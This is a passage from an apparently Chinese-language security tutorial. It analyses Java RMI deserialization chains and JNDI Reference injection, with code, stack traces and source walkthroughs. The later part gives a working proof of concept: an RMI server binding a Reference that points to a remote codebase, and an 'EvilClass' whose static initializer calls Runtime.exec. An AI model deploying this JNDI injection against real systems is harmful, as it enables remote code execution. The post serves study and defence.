(Class<?> clazz, String fieldName) { while (clazz != null ) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); return field; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null ; } public static Object getFieldValue (Object object, String fieldName) throws Exception { return getDeclaredField(object.getClass(), fieldName).get(object); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { getDeclaredField(object.getClass(), fieldName).set(object, value); } private static long toLong (Object v) { if (v instanceof Long) return (Long) v; return Long.parseLong(String.valueOf(v)); } }
注册中心反序列化触发的调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:439) at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:361) at java.net.URL.hashCode(URL.java:957) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.readObject(HashMap.java:1462) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:564) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.access$300(ObjectInputStream.java:222) at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2525) at java.io.ObjectInputStream.readFields(ObjectInputStream.java:602) at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:564) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252) at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161) at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:209) at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:161) at com.sun.proxy.$Proxy0.createServerSocket(Unknown Source:-1) at sun.rmi.transport.tcp.TCPEndpoint.newServerSocket(TCPEndpoint.java:666) at sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:329) at sun.rmi.transport.tcp.TCPTransport.exportObject(TCPTransport.java:248) at sun.rmi.transport.tcp.TCPEndpoint.exportObject(TCPEndpoint.java:411) at sun.rmi.transport.LiveRef.exportObject(LiveRef.java:147) at sun.rmi.server.UnicastServerRef.exportObject(UnicastServerRef.java:233) at java.rmi.server.UnicastRemoteObject.exportObject(UnicastRemoteObject.java:470) at java.rmi.server.UnicastRemoteObject.exportObject(UnicastRemoteObject.java:381) at java.rmi.server.UnicastRemoteObject.reexport(UnicastRemoteObject.java:303) at java.rmi.server.UnicastRemoteObject.readObject(UnicastRemoteObject.java:270) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:564) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:109) at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(AccessController.java:-1) at sun.rmi.transport.Transport.serviceCall(Transport.java:196) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.532782046.run(Unknown Source:-1) at java.security.AccessController.doPrivileged(AccessController.java:-1) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) at java.lang.Thread.run(Thread.java:844)
在 JDK8u241 中,这个反序列化利用链被修复。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Object invokeRemoteMethod (Object proxy, Method method, Object[] args) throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException ("proxy not Remote instance" ); } Class<?> decl = method.getDeclaringClass(); if (!Remote.class.isAssignableFrom(decl)) { throw new RemoteException ("Method is not Remote: " + decl + "::" + method); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) { } }
在之前的反序列化利用链中,UnicastRemoteObject.readObject()
→ reexport()
→ TCPTransport.listen()
→ TCPEndpoint.newServerSocket()
,最终会调用:
1 ssf.createServerSocket(port)
我们把 ssf
替换成了动态代理 (实现了 RMIServerSocketFactory
和 Remote
),从而让 RemoteObjectInvocationHandler
把这次调用转成 JRMP 远程调用 (到恶意 JRMPListener)。
但是 :createServerSocket
这个方法是声明在 RMIServerSocketFactory
上的 ,而 RMIServerSocketFactory
并不继承 Remote
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public interface RMIServerSocketFactory { ServerSocket createServerSocket (int port) throws IOException; }
补丁把“多接口动态代理 ”这条绕路堵上了——只能远调“真正的远程接口方法 ”,不能借“顺手实现 Remote”来把非远程接口的方法 (比如 RMIServerSocketFactory#createServerSocket
)也塞进 JRMP 去执行/回包反序列化。
JNDI(Java Naming and Directory Interface) 基本概念 什么是 JNDI? JNDI(Java Naming and Directory Interface) 是 Java 标准库提供的统一 API ,用于访问各种命名/目录服务 。
通俗讲:JNDI 就是“按名字找资源”的统一入口 。常见场景包括:
在应用服务器中按名查找 DataSource (再用 JDBC 访问数据库)
访问 LDAP 目录服务(查询/搜索带属性的条目)
连接 RMI Registry 查找远程对象
通过 DNS 查询记录(如 MX/TXT)
都可以通过 JNDI 实现统一的访问方式。
JNDI 的体系架构 JNDI 的架构类似 JDBC,分为 API 层 和 SPI(服务提供者接口)层 。
应用编程接口(API) 开发者使用的统一接口,分布在 javax.naming.*
与 javax.naming.directory.*
等包中:
Context
:命名操作(lookup
、bind
、rebind
、unbind
、list
等)。
DirContext
:目录扩展(在命名之上支持属性 与搜索 )。
InitialContext
:通用入口上下文(基于环境参数定位到具体 Provider)。
InitialDirContext
:用于目录服务的入口类,实现 DirContext
(并继承 InitialContext
),便于直接进行目录操作。
关联概念
Naming Service(命名服务) :名称 → 对象/引用 的映射系统(如文件系统、DNS、RMI Registry、COSNaming)。
Binding(绑定) :一次具体的“名称 ↔ 对象/引用”映射。
Context(上下文) :一组绑定的容器,支持层级(子上下文)。
Reference(引用) :JNDI 的结构化引用对象,可由 ObjectFactory
还原为真正实例。
服务提供者接口(SPI) SPI 让不同协议/产品以可插拔 Provider 接入 JNDI,屏蔽实现差异。常见 Provider(Provider 类 属于实现层 ,通常在 com.sun.jndi.*
):
LDAP (目录):com.sun.jndi.ldap.LdapCtxFactory
(ldap://
/ldaps://
)
RMI Registry (命名):com.sun.jndi.rmi.registry.RegistryContextFactory
(rmi://
)
DNS (命名):com.sun.jndi.dns.DnsContextFactory
(dns://
)
CORBA COSNaming (命名):com.sun.jndi.cosnaming.CNCtxFactory
(iiop://
)
应用服务器命名空间 (命名):java:comp/env
、java:module
、java:app
、java:global
(容器受控资源)
基本用法 远程对象查找 InitialContext
是 JNDI 的入口类(javax.naming.InitialContext
),实现了 Context
接口 。拿到它之后,就可以对命名/目录执行 lookup
、bind
等操作。
它会根据传入的环境参数,或名称本身的 URL 前缀 (如 ldap://
、rmi://
、dns://
),选择合适的 Provider。
构造方法有:
InitialContext()
:按默认环境创建入口(在应用服务器中通常指向 java:comp/env
等受控命名空间)。
InitialContext(Hashtable<?,?> env)
:显式提供 Provider、地址、认证方式等环境参数。
InitialContext(boolean lazy)
:受保护构造器 ,用于子类延迟初始化;业务代码一般不会直接用。
常用操作(继承自 Context
接口):
lookup(String name)
:按名查对象(最常用)。
bind(String name, Object obj)
:首次绑定。
rebind(String name, Object obj)
:覆盖已有绑定。
unbind(String name)
:删除绑定。
list(String name)
/ listBindings(String name)
:列出某上下文内的名称/绑定详情。
例如服务端在 RMI 注册中心注册了一个远程对象:
1 2 3 4 5 6 7 import java.rmi.registry.*;import java.rmi.server.UnicastRemoteObject;MyRemote impl = new MyRemoteImpl (); MyRemote stub = (MyRemote) UnicastRemoteObject.exportObject(impl, 0 ); LocateRegistry.createRegistry(1099 ).rebind("myService" , stub);
那么我们可以通过 InitialContext
的统一接口 lookup
来查找远程对象并调用,而 JNDI 会通过 URL 中的协议名称调用 RMI 来查找获取远程类。
1 2 3 4 5 6 7 import javax.naming.Context;import javax.naming.InitialContext;Context ctx = new InitialContext ();MyRemote remote = (MyRemote) ctx.lookup("rmi://localhost:1099/myService" );remote.doSomething();
References 机制 javax.naming.Reference
表示一种“对象引用”,也就是告诉 JNDI 系统:“这个条目代表的对象不是现在直接提供的,而是你可以根据这些信息动态构造出来的。”
Reference
用于在 JNDI 注册中心中保存“不是立即反序列化,而是等待用工厂类还原 ”的对象引用。常用于延迟加载 或远程查找 过程中,指向某个类的构建方式。
Reference
提供了多个构造函数重载,用到参数 有:
className
:希望最终还原成的目标类型 (FQCN)。
factory
:用于把 Reference
变成对象的 ObjectFactory
实现类 (FQCN)。
factoryLocation
:工厂类所在位置(URL 等),现代 JDK 默认禁止 从远程 codebase 加载。
RefAddr
:传给工厂的键值参数 ;可用 StringRefAddr
、BinaryRefAddr
。
new StringRefAddr("key", "value")
:字符串参数最常见。
new BinaryRefAddr("key", byte[])
:二进制参数。
Reference
的构造函数 有:
Reference(String className)
:仅指定目标类名 。常与后续 add()
补充地址项配合使用。
Reference(String className, RefAddr addr)
:目标类名 + 一个地址项 (RefAddr
),常见为 new StringRefAddr("k","v")
。
Reference(String className, String factory, String factoryLocation)
:目标类名 + 工厂类 (需实现 ObjectFactory
)+ 工厂位置 (通常是 URL;现代 JDK 默认不信任远程 codebase )。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
:目标类名 + 一个地址项 + 工厂类/位置。
Reference
的常用方法 有:
void add(RefAddr addr)
/ void add(int posn, RefAddr addr)
:追加/按索引插入地址项(保持顺序 很重要)。
RefAddr get(int posn)
:按索引取地址。
RefAddr get(String addrType)
:按 地址类型 (RefAddr.getType()
)取第一个匹配 。
Enumeration<RefAddr> getAll()
:遍历全部地址项。
int size()
:地址项数量。
Object remove(int posn)
:删除并返回索引处的地址(历史原因返回 Object
,实际为 RefAddr
)。
void clear()
:清空地址项。
String getClassName()
/ getFactoryClassName()
/ getFactoryClassLocation()
:分别取目标类名、工厂类名与位置。
String toString()
:调试用字符串。
下面以一个例子说明 JNDI References 机制。
服务端 把 Reference
(含参数)注册到 RMI Registry;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.BinaryRefAddr;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;public class Server { public static void main (String[] args) throws Exception { Reference ref = new Reference ( "java.lang.Object" , "EchoFactory" , "http://localhost:8000/" ); ref.add(new StringRefAddr ("greeting" , "hello-jndi" )); ref.add(new BinaryRefAddr ("nonce" , new byte []{1 , 2 , 3 , 4 })); ReferenceWrapper wrapped = new ReferenceWrapper (ref); LocateRegistry.createRegistry(1099 ).rebind("hello" , wrapped); System.out.println("RMI registry bound at rmi://localhost:1099/hello" ); Thread.sleep(Long.MAX_VALUE); } }
首先是构造 Reference
对象,其中涉及到的参数有:
1 2 3 4 5 Reference ref = new Reference ( "java.lang.Object" , "EchoFactory" , "http://localhost:8000/" );
className = “java.lang.Object” 这个只是个占位符,告诉 JNDI “我想要一个对象”。在这里不严格要求必须真能构造 Object
类型,关键看工厂类。
factory = “EchoFactory” 这是关键:告诉 JNDI 要调用哪个 ObjectFactory
实现类的 getObjectInstance()
方法。
如果客户端 classpath 上有 EchoFactory
类,就会直接加载并调用。
如果本地没有,但 factoryLocation
提供了 URL,JNDI 会尝试通过 HTTP 下载该类(⚠️现代 JDK 默认禁止远程 codebase)。
factoryLocation = “http://localhost:8000/ “ 这是工厂类的位置(Codebase)。
在老版本 JDK,会真的去这个 URL 下载字节码,然后加载执行。
在新版本(JDK 8u191+),trustURLCodebase
默认是 false
,所以这里不会去下载。
classFactoryLocation
提供 classes 数据的地址可以是 file/ftp/http
等协议。
URL 必须以 /
结尾,这是由 URLClassLoader
所觉得的。
以 /
结尾 → 被当作目录 代码库(directory codebase),加载类时会直接请求:GET /EchoFactory.class
✅
不以 /
结尾 → 被当作JAR 文件 代码库(jar codebase),先去请求“基 URL”本身:GET /
,尝试把它当 JAR 读头部(看是不是 ZIP/JAR 的 PK..
魔数)。不是 JAR 就不会继续拼 EchoFactory.class
,所以你只看到 GET /
❌
工厂类在创建对象的时候可能还需要一些参数,因为我们可能还要添加 RefAddr
参数。
1 2 ref.add(new StringRefAddr ("greeting" , "hello-jndi" )); ref.add(new BinaryRefAddr ("nonce" , new byte []{1 , 2 , 3 , 4 }));
StringRefAddr("greeting", "hello-jndi")
:工厂类可以通过 ref.get("greeting")
获取 "hello-jndi"
。
BinaryRefAddr("nonce", new byte[]{1,2,3,4})
:工厂类可以通过 ref.get("nonce")
拿到字节数组。
最后我们需要将 Reference
注册到 RMI Registry 中。
1 2 ReferenceWrapper wrapped = new ReferenceWrapper (ref);LocateRegistry.createRegistry(1099 ).rebind("hello" , wrapped);
ReferenceWrapper :把 Reference
包装成 RMI 可导出的对象(因为 RMI Registry 只能存 Remote
对象)。
rebind("hello", wrapped)
:把这个引用对象挂在 RMI 注册中心的 hello
名字下。
这样,别的客户端就能通过 rmi://localhost:1099/hello
取到这个 Reference
。
客户端 通过 InitialContext
的 lookup
方法查找 Reference
对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import javax.naming.Context;import javax.naming.InitialContext;public class Client { public static void main (String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase" , "true" ); Context ctx = new InitialContext (); Object obj = ctx.lookup("rmi://localhost:1099/hello" ); System.out.println("lookup result = " + obj); } }
在 JDK 8u121 之后 ,com.sun.jndi.rmi.object.trustURLCodebase
和 com.sun.jndi.cosnaming.object.trustURLCodebase
这两个系统属性的默认值改成了 false ,所以 JNDI 不会 去远程 URL 下载类。
为了展示远程加载类的效果,我们需要手动开启这两个选项。
1 2 3 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase" , "true" );
之后通过 InitialContext
的 lookup
方法查找 Reference
对象。
1 2 Context ctx = new InitialContext ();Object obj = ctx.lookup("rmi://localhost:1099/hello" );
ctx.lookup("rmi://...")
→ 访问 RMI Registry → 拿到服务端注册的 Reference
对象。
JNDI 识别这是个 Reference
,于是调用 NamingManager.getObjectInstance(ref, ...)
。
发现 ref.getFactoryClassName() = "EchoFactory"
→ 去加载并实例化工厂类。
在 JNDI 里,javax.naming.spi.ObjectFactory
是一个 接口 。它的作用是根据一个 Reference
或者其他描述信息,构造出真正的 Java 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 public interface ObjectFactory { Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception;}
该接口之后一个方法 getObjectInstance
,这个方法的作用是根据给定的位置或引用信息创建一个对象。
这里我们使用的 EchoFactory
是 ObjectFactory
接口的实现类,其中的 getObjectInstance
方法会根据我们传入的参数拼接一个字符串返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import javax.naming.*;import javax.naming.spi.ObjectFactory;import java.util.Arrays;import java.util.Hashtable;public class EchoFactory implements ObjectFactory { @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> env) throws Exception { if (!(obj instanceof Reference)) return null ; Reference ref = (Reference) obj; String greeting = null ; RefAddr g = ref.get("greeting" ); if (g instanceof StringRefAddr) { greeting = (String) g.getContent(); } byte [] nonce = null ; RefAddr n = ref.get("nonce" ); if (n != null && n.getContent() instanceof byte []) { nonce = (byte []) n.getContent(); } return String.format("EchoFactory -> greeting=%s, nonce=%s" , greeting, Arrays.toString(nonce)); } }
由于前面 factoryLocation
设置为 http://localhost:8000/
且我们确保本地 classpath 下没有 EchoFactory
的类文件。因此 JNDI 会尝试从 factoryLocation
设置的 URL 远程加载类。
我们需要 python3 -m http.server
在 EchoFactory.java
编译生成的 EchoFactory.class
目录下开启 HTTP 服务监听 8000 端口,这样 EchoFactory
类才会被成功加载。
JNDI References 机制的总体流程如下所示:
sequenceDiagram
autonumber
%% ── 参与方分组(带背景色) ──
box rgb(230,242,255) 客户端(进程)
participant C as Client 应用 💻
participant NM as NamingManager 🧠
participant VH as URLClassLoader / Helper 📚
participant CP as 本地类路径 🧱
end
box rgb(232,245,233) 目录服务(远程/本地)
participant R as RMI / LDAP 服务 📇
participant LC as 本地 Context(java:...)🔧
end
box rgb(255,243,224) 远程代码库(可选)
participant H as HTTP 服务器 🌐
end
box rgb(252,228,236) 工厂实现
participant OF as EchoFactory(ObjectFactory)🧪
end
%% ── 引用获取:远程 & 本地 ──
alt 远程引用(RMI / LDAP)🌐
C->>R: lookup("rmi://.../hello" 或 "ldap://.../name") 🔍
R-->>C: 返回 Reference 🗂️(className/factory/factoryLocation/RefAddr)
else 本地引用(进程内)🧩
C->>LC: lookup("java:comp/env/...") 🔍
LC-->>C: 返回 Reference 🗂️
end
%% ── 解析 Reference → 生成最终对象 ──
C->>NM: getObjectInstance(Reference) ▶️
NM->>NM: 读取 factoryClassName / factoryLocation / RefAddr 🔎
alt 指定了 factoryClassName(如 "EchoFactory")🧭
%% ── 路径 A:本地可加载 ──
alt 在本地 Classpath 可找到工厂类 ✅
NM->>VH: loadClass("EchoFactory")(本地)
VH->>CP: 查找 EchoFactory.class
CP-->>VH: class bytes 📦
VH-->>NM: Class EchoFactory
NM->>OF: newInstance() + getObjectInstance(ref, name, ctx, env)
OF-->>C: 返回“最终对象” 🎯
else 本地找不到工厂类 ❓
%% ── 路径 B:远程 codebase(需开启) ──
alt trustURLCodebase == true 🔓
NM->>VH: 以 factoryLocation 构造 URLClassLoader
opt 目录 vs JAR 判定
note right of VH: 以 "/" 结尾 → 目录:请求 /EchoFactory.class 📄 非 "/" 且指向 .jar → 请求 /evil.jar 🧴
end
VH->>H: HTTP GET(class 或 jar)
H-->>VH: 200 OK(class/jar 字节)📦
VH-->>NM: Class EchoFactory
NM->>OF: newInstance() + getObjectInstance(...)
OF-->>C: 返回“最终对象” 🎯
else trustURLCodebase == false 🔒 或下载失败 🚫
NM-->>C: 解析失败(可能返回原始 Reference 或抛异常)⚠️
end
end
else 未指定 factoryClassName(走内置/环境工厂)🧩
NM->>NM: 尝试 URLContextFactory 等内置工厂
NM-->>C: 返回对象或失败 🎛️
end
JNDI References 注入 JNDI References 注入 就是在 RMI/LDAP 等目录服务里挂一个 Reference
。当受害端 lookup()
取到它后,JNDI 会走 NamingManager.getObjectInstance()
→ 找到 ObjectFactory
→ 调用 getObjectInstance()
返回最终对象。如果这一步能加载恶意工厂类 或调用危险的本地工厂类 ,就能实现命令执行/任意代码执行。
JNDI-RMI 远程类加载(8u121、7u131、6u141 前) 首先服务端的 Reference
设置工厂类为恶意类,并将 Reference
注册到 RMI 注册中心。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import javax.naming.Reference;import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;public class RMIServer { private static final int PORT = 1099 ; public static void main (String[] args) throws Exception { Reference ref = new Reference ( null , "EvilClass" , "http://localhost:8000/" ); ReferenceWrapper wrapped = new ReferenceWrapper (ref); System.out.println("[*] RMI listening on 0.0.0.0:" + PORT); LocateRegistry.createRegistry(PORT).rebind("exploit" , wrapped); } }
恶意类最好和普通的工厂类一样实现 javax.naming.spi.ObjectFactory
接口,并重写 getObjectInstance
方法,否则在某些情况下客户端请求得到字节码文件后,会抛出异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class EvilClass implements ObjectFactory { static { try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { } } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } }
只要能让客户端通过 JNDI 请求我们注册在 RMI 上的 Reference
类,就可能触发远程代码执行(RCE)。这正是 JNDI 注入 的典型利用方式(如 Log4Shell)。
因为 RMI 远程调用只是起到了获取 Reference
对象的作用,真正类加载是 JNDI 的 References 机制,并没有 RMI 的参与。因此这里远程类加载的支持版本比纯 RMI 要高。
1 2 3 4 5 6 7 8 9 10 import javax.naming.Context;import javax.naming.InitialContext;public class Client { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); Object obj = ctx.lookup("rmi://localhost:1099/exploit" ); } }
整个攻击过程如下图所示:
sequenceDiagram
autonumber
%% ── 分组:客户端 ──
box rgb(230,242,255) 客户端(进程)
participant App as Client 应用 💻
participant IC as InitialContext
participant GUC as GenericURLContext
participant RC as RegistryContext
participant NM as NamingManager 🧠
participant VH as VersionHelper / URLClassLoader 📚
end
%% ── 分组:RMI 注册中心 ──
box rgb(232,245,233) RMI 注册中心(服务端)
participant Reg as RMI Registry 📇
participant RW as ReferenceWrapper 服务端 📦
end
%% ── 分组:远程代码库(可选) ──
box rgb(255,243,224) 代码库服务器
participant HTTP as HTTP Codebase 🌐
end
%% 1) 客户端发起 JNDI 查找 → 取到 Reference
App->>IC: lookup rmi://localhost:1099/exploit
IC->>GUC: parse rmi URL
GUC->>RC: delegate RegistryContext.lookup
RC->>Reg: Registry.lookup exploit
Reg-->>RC: ReferenceWrapper_Stub (RemoteReference)
RC->>RW: getReference via RMI
RW-->>RC: Reference factory=EvilClass codebase=http://localhost:8000/
RC->>NM: NamingManager.getObjectInstance
%% 2) 仅远程 codebase 加载 + 实例化(不画本地分支)
alt trustURLCodebase true 🔓
NM->>VH: helper.loadClass EvilClass http://localhost:8000/
note right of VH: directory GET /EvilClass.class or jar GET /evil.jar
VH->>HTTP: HTTP GET
HTTP-->>VH: 200 OK bytes 📦
VH-->>NM: Class EvilClass
note right of NM: CLINIT static init may execute code (e.g. Runtime.exec)
NM->>NM: instantiate factory (constructor runs)
NM-->>App: factory loaded and instantiated ✅
else trustURLCodebase false 🔒
NM-->>App: remote codebase disabled, cannot load ⚠️
end
调用堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 at java.lang.Runtime.exec(Runtime.java:347) at EvilClass.<clinit>(EvilClass.java:4) at java.lang.Class.forName0(Class.java:-1) at java.lang.Class.forName(Class.java:348) at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72) at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87) at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319) at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.example.Client.main(Client.java:10)
首先在 RegistryContext#lookup
方法中,会先通过 RegistryImpl_Stub
的 lookup
方法去查找 rmi://localhost:1099/exploit
对应的对象,服务端返回 ReferenceWrapper_Stub
对象,接着调用 RegistryContext#decodeObject
去获取信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public Object lookup (Name name) throws NamingException { if (name.isEmpty()) { return (new RegistryContext (this )); } Remote obj; try { obj = registry.lookup(name.get(0 )); } catch (NotBoundException e) { throw (new NameNotFoundException (name.get(0 ))); } catch (RemoteException e) { throw (NamingException) wrapRemoteException(e).fillInStackTrace(); } return (decodeObject(obj, name.getPrefix(1 ))); }
在 RegistryContext#decodeObject
方法,如果我们获取的远程对象是 RemoteReference
的实现类,则会调用该远程对象的 getReference
方法来获取真正的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private Object decodeObject (Remote r, Name name) throws NamingException { try { Object obj = (r instanceof RemoteReference) ? ((RemoteReference) r).getReference() : (Object) r; return NamingManager.getObjectInstance(obj, name, this , environment); } catch (NamingException e) { throw e; } catch (RemoteException e) { throw (NamingException) wrapRemoteException(e).fillInStackTrace(); } catch (Exception e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } }
由于我们实际获取的远程对象 ReferenceWrapper_Stub
是代理类,因此实际会调用到它的 invoke
方法发起一次 RMI 远程调用来调用注册中心的 RemoteReference#getReference
方法。
ReferenceWrapper_Stub
是由 GenerateClasses.gmk
规则在 构建期 用 rmic
生成,因此我们在 OpenJDK 源码中看不到这个类的实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 public final class ReferenceWrapper_Stub extends RemoteStub implements RemoteReference , Remote { private static final long serialVersionUID = 2L ; private static final long HASH_getReference = 3529874867989176284L ; private static final Method M_getReference; static { try { M_getReference = RemoteReference.class.getMethod("getReference" ); } catch (NoSuchMethodException e) { throw new NoSuchMethodError ("stub class initialization failed: getReference not found" ); } } public ReferenceWrapper_Stub (RemoteRef ref) { super (ref); } @Override public Reference getReference () throws RemoteException, NamingException { try { Object ret = super .ref.invoke( this , M_getReference, null , HASH_getReference ); return (Reference) ret; } catch (RuntimeException e) { throw e; } catch (RemoteException e) { throw e; } catch (NamingException e) { throw e; } catch (Exception e) { throw new UnexpectedException ("undeclared checked exception" , e); } } }
而前面我们使用 ReferenceWrapper
包装了一个 Reference
对象,因此实际上这次远程对象获取的是我们定义的 Reference
对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference { protected Reference wrappee; public ReferenceWrapper (Reference wrappee) throws NamingException, RemoteException { this .wrappee = wrappee; } public Reference getReference () throws RemoteException { return wrappee; } private static final long serialVersionUID = 6078186197417641456L ; }
之后 decodeObject
会调用 NamingManager#getObjectInstance
来根据 Reference
解析出实际的对象。
1 2 3 4 Object obj = (r instanceof RemoteReference) ? ((RemoteReference)r).getReference() : (Object)r; return NamingManager.getObjectInstance(obj, name, this , environment);
对于 Reference
,NamingManager#getObjectInstance
会调用 NamingManager#getObjectFactoryFromReference
查找我们在 Reference
中通过 factoryLocation
和 factory
指定的工厂类。
